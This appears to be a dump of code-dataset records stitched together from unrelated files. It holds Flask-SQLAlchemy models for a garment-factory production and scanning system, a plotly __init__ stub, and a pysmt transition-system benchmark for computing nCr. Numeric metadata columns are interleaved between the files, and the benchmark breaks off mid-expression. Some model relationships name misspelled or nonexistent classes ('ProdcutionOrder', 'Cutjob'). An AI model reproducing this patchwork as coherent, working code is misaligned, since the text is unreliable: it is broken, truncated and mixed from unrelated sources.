MarkerID=db.Column(Integer, db.ForeignKey("marker.MarkerID"))
CreatedAt=db.Column(DateTime)
UpdatedAt=db.Column(DateTime)
ProductionOrderCode=db.Column(String(64))
SaleOrderID=db.Column(Integer, db.ForeignKey("sale_order.SaleOrderID"))
StyleTemplateID=db.Column(Integer, db.ForeignKey("style_template.StyleTemplateID"))
IsFollowOperationSequence=db.Column(Boolean)
SaleOrderCode=db.Column(String(100))
Customer=db.Column(String(64))
OrderQuantity=db.Column(Integer)
StyleTemplateCode=db.Column(String(64))
MarkerCode=db.Column(String(64))
MarkerMapping=db.Column(JSON)
production_order = relationship("ProductionOrder")
sale_order = relationship("SaleOrder")
style_template = relationship("StyleTemplate")
marker = relationship("Marker")
class CutReport(db.Model):
__tablename__ = 'cut_report'
__table_args__ = {'extend_existing': True}
BundleID=db.Column(Integer, primary_key = True, autoincrement=False)
BundleCode=db.Column(String(64))
BundleQuantity=db.Column(Integer)
ScannedQuantity=db.Column(Integer)
RemainingQuantity=db.Column(Integer)
CutJobID=db.Column(Integer, db.ForeignKey("cut_job.CutJobID"))
CreatedAt=db.Column(DateTime)
UpdatedAt=db.Column(DateTime)
CutNo=db.Column(Integer)
ProductionOrderID=db.Column(Integer, db.ForeignKey("production_order.ProductionOrderID"))
CutQuantity=db.Column(Integer)
MarkerID=db.Column(Integer, db.ForeignKey("marker.MarkerID"))
ProductionOrderCode=db.Column(String(64))
SaleOrderID=db.Column(Integer, db.ForeignKey("sale_order.SaleOrderID"))
StyleTemplateID=db.Column(Integer, db.ForeignKey("style_template.StyleTemplateID"))
IsFollowOperationSequence=db.Column(Boolean)
SaleOrderCode=db.Column(String(100))
Customer=db.Column(String(64))
OrderQuantity=db.Column(Integer)
StyleTemplateCode=db.Column(String(64))
MarkerCode=db.Column(String(64))
MarkerMapping=db.Column(JSON)
cut_job = relationship("CutJob")
production_order = relationship("ProductionOrder")
sale_order = relationship("SaleOrder")
style_template = relationship("StyleTemplate")
marker = relationship("Marker")
class Operation(db.Model):
__tablename__ = 'operation'
__table_args__ = {'extend_existing': True}
OperationID=db.Column(Integer, primary_key = True, autoincrement=False)
OperationCode=db.Column(String(64))
OperationName =db.Column(String(64))
OperationDescription = db.Column(String(64))
Department = db.Column(String(64))
PieceRate=db.Column(Integer)
OperationType=db.Column(String(64))
OperationImageUrl=db.Column(String(2056))
OperationThumbnailUrl=db.Column(String(2056))
SectionID = db.Column(Integer, db.ForeignKey("section.SectionID"))
CreatedAt=db.Column(DateTime)
UpdatedAt=db.Column(DateTime)
SectionCode=db.Column(String(64))
SectionDescription=db.Column(String(64))
section = relationship("Section")
class Section(db.Model):
__tablename__ = 'section'
__table_args__ = {'extend_existing': True}
SectionID=db.Column(Integer, primary_key = True, autoincrement=False)
SectionCode=db.Column(String(64))
SectionDescription=db.Column(String(64))
CreatedAt=db.Column(DateTime)
UpdatedAt=db.Column(DateTime)
class PieceWiseCutReport(db.Model):
__tablename__ = 'piece_wise_cut_report'
__table_args__ = {'extend_existing': True}
PieceID=db.Column(Integer, primary_key = True, autoincrement=False)
BundleID=db.Column(Integer, db.ForeignKey("cut_report.BundleID"))
PieceNumber=db.Column(Integer)
CreatedAt=db.Column(DateTime)
UpdatedAt=db.Column(DateTime)
BundleCode=db.Column(String(64))
BundleQuantity=db.Column(Integer)
ScannedQuantity=db.Column(Integer)
RemainingQuantity=db.Column(Integer)
CutJobID=db.Column(Integer, db.ForeignKey("cut_job.CutJobID"))
CutNo=db.Column(Integer)
ProductionOrderID=db.Column(Integer, db.ForeignKey("production_order.ProductionOrderID"))
CutQuantity=db.Column(Integer)
MarkerID=db.Column(Integer, db.ForeignKey("marker.MarkerID"))
ProductionOrderCode=db.Column(String(64))
SaleOrderID=db.Column(Integer, db.ForeignKey("sale_order.SaleOrderID"))
StyleTemplateID=db.Column(Integer, db.ForeignKey("style_template.StyleTemplateID"))
IsFollowOperationSequence=db.Column(Boolean)
SaleOrderCode=db.Column(String(100))
Customer=db.Column(String(64))
OrderQuantity=db.Column(Integer)
StyleTemplateCode=db.Column(String(64))
MarkerCode=db.Column(String(64))
MarkerMapping=db.Column(JSON)
production_order = relationship("ProductionOrder")
sale_order = relationship("SaleOrder")
style_template = relationship("StyleTemplate")
marker = relationship("Marker")
cut_report = relationship("CutReport")
cut_job = relationship("CutJob")
class Scan(db.Model):
__tablename__ = 'scan'
__table_args__ = {'extend_existing': True}
ScanID=db.Column(BIGINT, primary_key = True, autoincrement=False)
ShortAddress=db.Column(String(64))
LongAddress=db.Column(String(64))
HostIP=db.Column(String(64))
CreatedAt=db.Column(DateTime)
UpdatedAt=db.Column(DateTime)
LineID=db.Column(Integer,db.ForeignKey("line.LineID"))
LineCode=db.Column(String(64))
LineDescription=db.Column(String(64))
WorkerID =db.Column(Integer, db.ForeignKey("worker.WorkerID"))
WorkerCode=db.Column(String(64))
WorkerDescription=db.Column(String(64))
WorkerImageUrl=db.Column(String(2056))
WorkerThumbnailUrl=db.Column(String(2056))
AllocatedMachines=db.Column(JSON)
BundleID=db.Column(Integer, db.ForeignKey("cut_report.BundleID"))
BundleCode=db.Column(String(64))
BundleQuantity=db.Column(Integer)
ScannedQuantity=db.Column(Integer)
RemainingQuantity=db.Column(Integer)
CutJobID=db.Column(Integer, db.ForeignKey("cut_job.CutJobID"))
CutNo=db.Column(Integer)
ProductionOrderID=db.Column(Integer, db.ForeignKey("production_order.ProductionOrderID"))
CutQuantity=db.Column(Integer)
MarkerID=db.Column(Integer, db.ForeignKey("marker.MarkerID"))
ProductionOrderCode=db.Column(String(64))
SaleOrderID=db.Column(Integer, db.ForeignKey("sale_order.SaleOrderID"))
StyleTemplateID=db.Column(Integer, db.ForeignKey("style_template.StyleTemplateID"))
IsFollowOperationSequence=db.Column(Boolean)
SaleOrderCode=db.Column(String(100))
Customer=db.Column(String(64))
OrderQuantity=db.Column(Integer)
StyleTemplateCode=db.Column(String(64))
MarkerCode=db.Column(String(64))
MarkerMapping=db.Column(JSON)
MachineID=db.Column(Integer,db.ForeignKey("machine.MachineID"))
MachineCode=db.Column(String(64))
MachineDescription=db.Column(String(64))
MachineImageUrl=db.Column(String(2056))
MachineThumbnailUrl=db.Column(String(2056))
MachineTypeID=db.Column(Integer)
ActiveWorkerID=db.Column(Integer)
Operations=db.Column(JSON)
BoxID=db.Column(Integer)
MachineTypeCode=db.Column(String(64))
MachineTypeDescription=db.Column(String(64))
Allowance=db.Column(Float)
OperationID=db.Column(Integer,db.ForeignKey("operation.OperationID"))
OperationCode=db.Column(String(64))
OperationName=db.Column(String(64))
OperationDescription=db.Column(String(64))
Department=db.Column(String(64))
PieceRate=db.Column(Integer)
OperationType=db.Column(String(64))
OperationImageUrl=db.Column(String(2056))
OperationThumbnailUrl=db.Column(String(2056))
SectionID=db.Column(Integer, db.ForeignKey("section.SectionID"))
SectionCode=db.Column(String(64))
SectionDescription=db.Column(String(64))
PieceID=db.Column(Integer)
PieceNumber=db.Column(Integer)
WorkerScanID=db.Column(BIGINT, db.ForeignKey("worker_scan.WorkerScanID"))
WorkerOperations=db.Column(JSON)
HasExpired=db.Column(Integer)
EndedAt=db.Column(DateTime)
section = relationship("Section")
operation = relationship("Operation")
production_order = relationship("ProductionOrder")
sale_order = relationship("SaleOrder")
style_template = relationship("StyleTemplate")
marker = relationship("Marker")
cut_report = relationship("CutReport")
cut_job = relationship("Cutjob")
machine = relationship("Machine")
line = relationship("Line")
worker = relationship("Worker")
worker_scan = relationship("WorkerScan")
class ScanGroup(db.Model):
__tablename__ = 'scan_group'
__table_args__ = {'extend_existing': True}
GroupID=db.Column(Integer, primary_key = True, autoincrement=False)
CreatedAt=db.Column(DateTime)
UpdatedAt=db.Column(DateTime)
class PieceWiseScan(db.Model):
__tablename__ = 'piece_wise_scan'
__table_args__ = {'extend_existing': True}
PieceWiseScanningID=db.Column(Integer, primary_key = True, autoincrement=False)
WorkerID =db.Column(Integer, db.ForeignKey("worker.WorkerID"))
LineID=db.Column(Integer,db.ForeignKey("line.LineID"))
MachineID=db.Column(Integer,db.ForeignKey("machine.MachineID"))
CreatedAt=db.Column(DateTime)
UpdatedAt=db.Column(DateTime)
PieceID=db.Column(Integer, db.ForeignKey("piece_wise_cut_report.PieceID"))
PieceNumber=db.Column(Integer)
BundleCode=db.Column(String(64))
BundleQuantity=db.Column(Integer)
ScannedQuantity=db.Column(Integer)
RemainingQuantity=db.Column(Integer)
CutJobID=db.Column(Integer, db.ForeignKey("cut_job.CutJobID"))
CutNo=db.Column(Integer)
ProductionOrderID=db.Column(Integer, db.ForeignKey("production_order.ProductionOrderID"))
CutQuantity=db.Column(Integer)
MarkerID=db.Column(Integer, db.ForeignKey("marker.MarkerID"))
ProductionOrderCode=db.Column(String(64))
SaleOrderID=db.Column(Integer, db.ForeignKey("sale_order.SaleOrderID"))
StyleTemplateID=db.Column(Integer, db.ForeignKey("style_template.StyleTemplateID"))
IsFollowOperationSequence=db.Column(Boolean)
SaleOrderCode=db.Column(String(100))
Customer=db.Column(String(64))
OrderQuantity=db.Column(Integer)
StyleTemplateCode=db.Column(String(64))
MarkerCode=db.Column(String(64))
MarkerMapping=db.Column(JSON)
OperationID=db.Column(Integer, db.ForeignKey("operation.OperationID"))
OperationCode=db.Column(String(64))
OperationName =db.Column(String(64))
OperationDescription = db.Column(String(64))
Department = db.Column(String(64))
PieceRate=db.Column(Integer)
OperationType=db.Column(String(64))
OperationImageUrl=db.Column(String(2056))
OperationThumbnailUrl=db.Column(String(2056))
SectionID = db.Column(Integer, db.ForeignKey("section.SectionID"))
SectionCode=db.Column(String(64))
SectionDescription=db.Column(String(64))
ScanID=db.Column(BIGINT, db.ForeignKey("scan.ScanID"))
ShortAddress=db.Column(String(64))
LongAddress=db.Column(String(64))
HostIP=db.Column(String(64))
LineCode=db.Column(String(64))
LineDescription=db.Column(String(64))
WorkerCode=db.Column(String(64))
WorkerDescription=db.Column(String(64))
WorkerImageUrl=db.Column(String(2056))
WorkerThumbnailUrl=db.Column(String(2056))
AllocatedMachines=db.Column(JSON)
MachineCode=db.Column(String(64))
MachineDescription=db.Column(String(64))
MachineImageUrl=db.Column(String(2056))
MachineThumbnailUrl=db.Column(String(2056))
MachineTypeID=db.Column(Integer)
ActiveWorkerID=db.Column(Integer)
Operations=db.Column(JSON)
BoxID=db.Column(Integer)
MachineTypeCode=db.Column(String(64))
MachineTypeDescription=db.Column(String(64))
Allowance=db.Column(Float)
WorkerScanID=db.Column(BIGINT, db.ForeignKey("worker_scan.WorkerScanID"))
WorkerOperations=db.Column(JSON)
HasExpired=db.Column(Integer)
EndedAt=db.Column(DateTime)
BundleID=db.Column(Integer, db.ForeignKey("cut_report.BundleID"))
production_order = relationship("ProductionOrder")
sale_order = relationship("SaleOrder")
style_template = relationship("StyleTemplate")
marker = relationship("Marker")
cut_report = relationship("CutReport")
cut_job = relationship("Cutjob")
machine = relationship("Machine")
line = relationship("Line")
worker = relationship("Worker")
worker_scan = relationship("WorkerScan")
scan = relationship("Scan")
piece_wise_cut_report = relationship("PieceWiseCutReport")
operation = relationship("Operation")
section = relationship("Section")
class Module(db.Model):
__tablename__ = 'module'
__table_args__ = {'extend_existing': True}
ModuleID=db.Column(Integer, primary_key = True, autoincrement=False)
ModuleCode=db.Column(String(64))
CreatedAt=db.Column(DateTime)
UpdatedAt=db.Column(DateTime)
class StyleBulletin(db.Model):
__tablename__ = 'style_bulletin'
__table_args__ = {'extend_existing': True}
StyleBulletinID=db.Column(Integer, primary_key = True, autoincrement=False)
StyleTemplateID=db.Column(Integer,db.ForeignKey("style_template.StyleTemplateID"))
OperationID=db.Column(Integer, db.ForeignKey("operation.OperationID"))
OperationSequence=db.Column(Integer)
ScanType=db.Column(String(10))
IsFirst=db.Column(Boolean)
IsLast=db.Column(Boolean)
MachineTypeID=db.Column(Integer, db.ForeignKey("machine_type.MachineTypeID"))
CreatedAt=db.Column(DateTime)
UpdatedAt=db.Column(DateTime)
StyleTemplateCode=db.Column(String(64))
OperationCode=db.Column(String(64))
OperationName =db.Column(String(64))
OperationDescription = db.Column(String(64))
Department = db.Column(String(64))
PieceRate=db.Column(Float)
OperationType=db.Column(String(64))
OperationImageUrl=db.Column(String(2056))
OperationThumbnailUrl=db.Column(String(2056))
SectionID = db.Column(Integer, db.ForeignKey("section.SectionID"))
SectionCode=db.Column(String(64))
SectionDescription=db.Column(String(64))
MachineTypeCode=db.Column(String(64))
MachineTypeDescription=db.Column(String(64))
Allowance=db.Column(Float)
style_template = relationship("StyleTemplate")
operation = relationship("Operation")
section = relationship("Section")
machine_type = relationship("MachineType")
class Tag(db.Model):
__tablename__ = 'tag'
__table_args__ = {'extend_existing': True}
TagID=db.Column(Integer, primary_key = True, autoincrement=False)
BundleID=db.Column(Integer, db.ForeignKey("cut_report.BundleID"))
CreatedAt=db.Column(DateTime)
UpdatedAt=db.Column(DateTime)
#db.Column ADDED LATER
PieceID=db.Column(Integer)
GroupID=db.Column(Integer)
BundleCode=db.Column(String(64))
BundleQuantity=db.Column(Integer)
ScannedQuantity=db.Column(Integer)
RemainingQuantity=db.Column(Integer)
CutJobID=db.Column(Integer, db.ForeignKey("cut_job.CutJobID"))
CutNo=db.Column(Integer)
ProductionOrderID=db.Column(Integer, db.ForeignKey("production_order.ProductionOrderID"))
CutQuantity=db.Column(Integer)
MarkerID=db.Column(Integer, db.ForeignKey("marker.MarkerID"))
ProductionOrderCode=db.Column(String(64))
SaleOrderID=db.Column(Integer, db.ForeignKey("sale_order.SaleOrderID"))
StyleTemplateID=db.Column(Integer, db.ForeignKey("style_template.StyleTemplateID"))
IsFollowOperationSequence=db.Column(Boolean)
SaleOrderCode=db.Column(String(100))
Customer=db.Column(String(64))
OrderQuantity=db.Column(Integer)
StyleTemplateCode=db.Column(String(64))
MarkerCode=db.Column(String(64))
MarkerMapping=db.Column(JSON)
cut_report = relationship("CutReport")
cut_job = relationship("CutJob")
marker = relationship("Marker")
production_order = relationship("ProdcutionOrder")
sale_order = relationship("SaleOrder")
style_template = relationship("StyleTemplate")
class User(db.Model):
__tablename__ = 'user'
__table_args__ = {'extend_existing': True}
UserID=db.Column(Integer, primary_key = True, autoincrement=False)
UserName=db.Column(String(64))
Password=db.Column(String(1024))
UserType=db.Column(String(64))
LineID=db.Column(Integer,db.ForeignKey("line.LineID"))
SectionID=db.Column(Integer,db.ForeignKey("section.SectionID"))
CreatedAt=db.Column(DateTime)
UpdatedAt=db.Column(DateTime)
LineCode=db.Column(String(64))
LineDescription=db.Column(String(64))
SectionCode=db.Column(String(64))
SectionDescription=db.Column(String(64))
line = relationship("Line")
section = relationship("Section")
class UserPermission(db.Model):
__tablename__ = 'userpermission'
__table_args__ = {'extend_existing': True}
UserPermissionID=db.Column(Integer, primary_key = True, autoincrement=False)
CreatedAt=db.Column(DateTime)
UpdatedAt=db.Column(DateTime)
ModuleID=db.Column(Integer, db.ForeignKey("module.ModuleID"))
ModuleCode=db.Column(String(64))
UserID=db.Column(Integer,db.ForeignKey("user.UserID"))
UserName=db.Column(String(64))
Password=db.Column(String(1024))
UserType=db.Column(String(64))
LineID=db.Column(Integer,db.ForeignKey("line.LineID"))
SectionID=db.Column(Integer,db.ForeignKey("section.SectionID"))
LineCode=db.Column(String(64))
LineDescription=db.Column(String(64))
SectionCode=db.Column(String(64))
SectionDescription=db.Column(String(64))
user = relationship("User")
module = relationship("Module")
line = relationship("Line")
section = relationship("Section")
class Box(db.Model):
__tablename__ = 'box'
__table_args__ = {'extend_existing': True}
BoxID=db.Column(Integer, primary_key = True, autoincrement=False)
BoxCode=db.Column(String(64))
IssueDate=db.Column(DateTime)
CreatedAt=db.Column(DateTime)
UpdatedAt=db.Column(DateTime)
class PieceWiseGroup(db.Model):
__tablename__ = 'piece_wise_group'
__table_args__ = {'extend_existing': True}
PieceWiseGroupID=db.Column(Integer, primary_key = True, autoincrement=False)
BundleID=db.Column(Integer)
CreatedAt=db.Column(DateTime)
UpdatedAt=db.Column(DateTime)
GroupName=db.Column(String(1024))
GroupID=db.Column(Integer,db.ForeignKey("scan_group.GroupID"))
PieceID=db.Column(Integer,db.ForeignKey("piece_wise_cut_report.PieceID"))
PieceNumber=db.Column(Integer)
BundleCode=db.Column(String(64))
BundleQuantity=db.Column(Integer)
ScannedQuantity=db.Column(Integer)
RemainingQuantity=db.Column(Integer)
CutJobID=db.Column(Integer)
CutNo=db.Column(Integer)
ProductionOrderID=db.Column(Integer)
CutQuantity=db.Column(Integer)
MarkerID=db.Column(Integer)
ProductionOrderCode=db.Column(String(64))
SaleOrderID=db.Column(Integer)
StyleTemplateID=db.Column(Integer)
IsFollowOperationSequence=db.Column(Boolean)
SaleOrderCode=db.Column(String(64))
Customer=db.Column(String(64))
OrderQuantity=db.Column(Integer)
StyleTemplateCode=db.Column(String(64))
MarkerCode=db.Column(String(64))
MarkerMapping=db.Column(JSON)
piece_wise_cut_report = relationship("PieceWiseCutReport")
scan_group = relationship("ScanGroup")
class MachineDownTime(db.Model):
__tablename__ = 'machine_down_time'
__table_args__ = {'extend_existing': True}
MachineDownTimeID=db.Column(Integer, primary_key = True, autoincrement=False)
DownReason=db.Column(String(64))
StartTime=db.Column(DateTime)
EndTime=db.Column(DateTime)
CreatedAt=db.Column(DateTime)
UpdatedAt=db.Column(DateTime)
MachineID=db.Column(Integer,db.ForeignKey("machine.MachineID"))
MachineCode=db.Column(String(64))
MachineDescription=db.Column(String(64))
MachineImageUrl=db.Column(String(64))
MachineThumbnailUrl=db.Column(String(64))
MachineTypeID=db.Column(Integer)
ActiveWorkerID=db.Column(Integer)
LineID=db.Column(Integer)
Operations=db.Column(JSON)
BoxID=db.Column(Integer)
IsMachineDown=db.Column(Boolean)
LineCode=db.Column(String(64))
LineDescription=db.Column(String(64))
WorkerID=db.Column(Integer)
WorkerCode=db.Column(String(64))
WorkerDescription=db.Column(String(64))
WorkerImageUrl=db.Column(String(64))
WorkerThumbnailUrl=db.Column(String(64))
AllocatedMachines=db.Column(Boolean)
MachineTypeCode=db.Column(String(64))
MachineTypeDescription=db.Column(String(64))
Allowance=db.Column(Float)
machine = relationship("Machine")
class LineLayout(Base):
__tablename__ = 'line_layout'
__table_args__ = {'extend_existing': True}
LineLayoutID=db.Column(Integer, primary_key = True, autoincrement=False)
RevisionNo=db.Column(Integer)
LineLayoutDate=db.Column(DateTime)
LineLayoutStatus=db.Column(String(64))
LineLayoutOperationMachines=db.Column(JSON)
IsAnyMachines=db.Column(Boolean)
ParentLineLayoutID=db.Column(Integer)
CreatedAt=db.Column(DateTime)
UpdatedAt=db.Column(DateTime)
LineID=db.Column(Integer,db.ForeignKey("line.LineID"))
LineCode=db.Column(String(64))
LineDescription=db.Column(String(64))
ProductionOrderID=db.Column(Integer,db.ForeignKey("production_order.ProductionOrderID"))
ProductionOrderCode=db.Column(String(64))
SaleOrderID=db.Column(Integer)
StyleTemplateID=db.Column(Integer)
IsFollowOperationSequence=db.Column(Boolean)
SaleOrderCode=db.Column(String(64))
Customer=db.Column(String(64))
OrderQuantity=db.Column(Integer)
StyleTemplateCode=db.Column(String(64))
line = relationship("Line")
production_order = relationship("ProductionOrder")
| 35.604464
| 139
| 0.725757
| 4,381
| 39,877
| 6.487332
| 0.045652
| 0.184652
| 0.127582
| 0.116534
| 0.925583
| 0.905492
| 0.891418
| 0.887126
| 0.848809
| 0.833011
| 0
| 0.017856
| 0.148908
| 39,877
| 1,120
| 140
| 35.604464
| 0.819559
| 0.01299
| 0
| 0.885648
| 0
| 0
| 0.102249
| 0.037667
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.002334
| 0.005834
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 8
|
d3856d4aaf3efca282aa343ebf16e9e995e4d5b9
| 86
|
py
|
Python
|
dist/plotly-0.5.9/plotly/__init__.py
|
awesome-archive/plotly.py
|
0af4ef6abd0fe9907268d266304de630f94cda60
|
[
"MIT"
] | null | null | null |
dist/plotly-0.5.9/plotly/__init__.py
|
awesome-archive/plotly.py
|
0af4ef6abd0fe9907268d266304de630f94cda60
|
[
"MIT"
] | null | null | null |
dist/plotly-0.5.9/plotly/__init__.py
|
awesome-archive/plotly.py
|
0af4ef6abd0fe9907268d266304de630f94cda60
|
[
"MIT"
] | null | null | null |
from .version import __version__
from .plotly import signup
from .plotly import plotly
| 28.666667
| 32
| 0.837209
| 12
| 86
| 5.666667
| 0.416667
| 0.294118
| 0.470588
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.127907
| 86
| 3
| 33
| 28.666667
| 0.906667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
6cb98e6db6f46edd7e5af32fb0325ec180a68383
| 20,612
|
py
|
Python
|
benchmarks/nonlinear_software/f3/nCr_combination.py
|
EnricoMagnago/F3
|
c863215c318d7d5f258eb9be38c6962cf6863b52
|
[
"MIT"
] | 3
|
2021-04-23T23:29:26.000Z
|
2022-03-23T10:00:30.000Z
|
benchmarks/nonlinear_software/f3/nCr_combination.py
|
EnricoMagnago/F3
|
c863215c318d7d5f258eb9be38c6962cf6863b52
|
[
"MIT"
] | null | null | null |
benchmarks/nonlinear_software/f3/nCr_combination.py
|
EnricoMagnago/F3
|
c863215c318d7d5f258eb9be38c6962cf6863b52
|
[
"MIT"
] | 1
|
2021-11-17T22:02:56.000Z
|
2021-11-17T22:02:56.000Z
|
import pysmt.typing as types
from pysmt.environment import Environment as PysmtEnv
from pysmt.fnode import FNode
from utils import symb_to_next
def transition_system(env: PysmtEnv) -> (frozenset, FNode, FNode, FNode):
assert isinstance(env, PysmtEnv)
mgr = env.formula_manager
den = mgr.Symbol("den", types.INT)
dmul = mgr.Symbol("dmul", types.INT)
nCr = mgr.Symbol("nCr", types.INT)
n_num = mgr.Symbol("n_num", types.INT)
nmul = mgr.Symbol("nmul", types.INT)
num = mgr.Symbol("num", types.INT)
pc = mgr.Symbol("pc", types.INT)
r_num = mgr.Symbol("r_num", types.INT)
x_den = symb_to_next(mgr, den)
x_dmul = symb_to_next(mgr, dmul)
x_nCr = symb_to_next(mgr, nCr)
x_n_num = symb_to_next(mgr, n_num)
x_nmul = symb_to_next(mgr, nmul)
x_num = symb_to_next(mgr, num)
x_pc = symb_to_next(mgr, pc)
x_r_num = symb_to_next(mgr, r_num)
symbols = frozenset([den, dmul, nCr, n_num, nmul, num, pc, r_num])
n_locs = 25
int_bound = n_locs
pcs = []
x_pcs = []
ints = [mgr.Int(i) for i in range(int_bound)]
for l in range(n_locs):
n = ints[l]
pcs.append(mgr.Equals(pc, n))
x_pcs.append(mgr.Equals(x_pc, n))
m_1 = mgr.Int(-1)
pcend = mgr.Equals(pc, m_1)
x_pcend = mgr.Equals(x_pc, m_1)
# initial location.
init = pcs[0]
# control flow graph.
cfg = mgr.And(
# pc = -1 : -1,
mgr.Implies(pcend, x_pcend),
# pc = 0 & !(n_num >= 1) : -1,
mgr.Implies(mgr.And(pcs[0], mgr.Not(mgr.GE(n_num, ints[1]))), x_pcend),
# pc = 0 & n_num >= 1 : 1,
mgr.Implies(mgr.And(pcs[0], mgr.GE(n_num, ints[1])), x_pcs[1]),
# pc = 1 : 2,
mgr.Implies(pcs[1], x_pcs[2]),
# pc = 2 : 3,
mgr.Implies(pcs[2], x_pcs[3]),
# pc = 3 : 4,
mgr.Implies(pcs[3], x_pcs[4]),
# pc = 4 : 5,
mgr.Implies(pcs[4], x_pcs[5]),
# pc = 5 : 6,
mgr.Implies(pcs[5], x_pcs[6]),
# pc = 6 & n_num >= r_num : 7,
mgr.Implies(mgr.And(pcs[6], mgr.GE(n_num, r_num)), x_pcs[7]),
# pc = 6 & !(n_num >= r_num) : 24,
mgr.Implies(mgr.And(pcs[6], mgr.Not(mgr.GE(n_num, r_num))), x_pcs[24]),
# pc = 7 : {8, 11},
mgr.Implies(pcs[7], mgr.Or(x_pcs[8], x_pcs[11])),
# pc = 8 & !(num < 1) : -1,
mgr.Implies(mgr.And(pcs[8], mgr.Not(mgr.LT(num, ints[1]))), x_pcend),
# pc = 8 & num < 1 : 9,
mgr.Implies(mgr.And(pcs[8], mgr.LT(num, ints[1])), x_pcs[9]),
# pc = 9 : 10,
mgr.Implies(pcs[9], x_pcs[10]),
# pc = 10 : -1,
mgr.Implies(pcs[10], x_pcend),
# pc = 11 & !(nCr >= 1) : 20,
mgr.Implies(mgr.And(pcs[11], mgr.Not(mgr.GE(nCr, ints[1]))),
x_pcs[20]),
# pc = 11 & nCr >= 1 : 12,
mgr.Implies(mgr.And(pcs[11], mgr.GE(nCr, ints[1])), x_pcs[12]),
# pc = 12 : {13, 16},
mgr.Implies(pcs[12], mgr.Or(x_pcs[13], x_pcs[16])),
# pc = 13 & !(num < 1) : -1,
mgr.Implies(mgr.And(pcs[13], mgr.Not(mgr.LT(num, ints[1]))), x_pcend),
# pc = 13 & num < 1 : 14,
mgr.Implies(mgr.And(pcs[13], mgr.LT(num, ints[1])), x_pcs[14]),
# pc = 14 : 15,
mgr.Implies(pcs[14], x_pcs[15]),
# pc = 15 : -1,
mgr.Implies(pcs[15], x_pcend),
# pc = 16 : 17,
mgr.Implies(pcs[16], x_pcs[17]),
# pc = 17 : 18,
mgr.Implies(pcs[17], x_pcs[18]),
# pc = 18 : 19,
mgr.Implies(pcs[18], x_pcs[19]),
# pc = 19 : 11,
mgr.Implies(pcs[19], x_pcs[11]),
# pc = 20 : {-1, 21},
mgr.Implies(pcs[20], mgr.Or(x_pcend, x_pcs[21])),
# pc = 21 & !(num < 1) : -1,
mgr.Implies(mgr.And(pcs[21], mgr.Not(mgr.LT(num, ints[1]))), x_pcend),
# pc = 21 & num < 1 : 22,
mgr.Implies(mgr.And(pcs[21], mgr.LT(num, ints[1])), x_pcs[22]),
# pc = 22 : 23,
mgr.Implies(pcs[22], x_pcs[23]),
# pc = 23 : -1,
mgr.Implies(pcs[23], x_pcend),
# pc = 24 : -1,
mgr.Implies(pcs[24], x_pcend))
# transition labels.
labels = mgr.And(
# (pc = -1 & pc' = -1) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr),
mgr.Implies(
mgr.And(pcend, x_pcend),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, nCr))),
# (pc = 0 & pc' = -1) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr),
mgr.Implies(
mgr.And(pcs[0], x_pcend),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, nCr))),
# (pc = 0 & pc' = 1) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr),
mgr.Implies(
mgr.And(pcs[0], x_pcs[1]),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, nCr))),
# (pc = 1 & pc' = 2) -> (n_num' = n_num & num' = 1 & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr),
mgr.Implies(
mgr.And(pcs[1], x_pcs[2]),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, ints[1]),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, nCr))),
# (pc = 2 & pc' = 3) -> (n_num' = n_num & num' = num & den' = 1 & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr),
mgr.Implies(
mgr.And(pcs[2], x_pcs[3]),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, ints[1]), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, nCr))),
# (pc = 3 & pc' = 4) -> (n_num' = n_num & num' = num & den' = den & nmul' = n_num & dmul' = dmul & r_num' = r_num & nCr' = nCr),
mgr.Implies(
mgr.And(pcs[3], x_pcs[4]),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, n_num),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, nCr))),
# (pc = 4 & pc' = 5) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = r_num & r_num' = r_num & nCr' = nCr),
mgr.Implies(
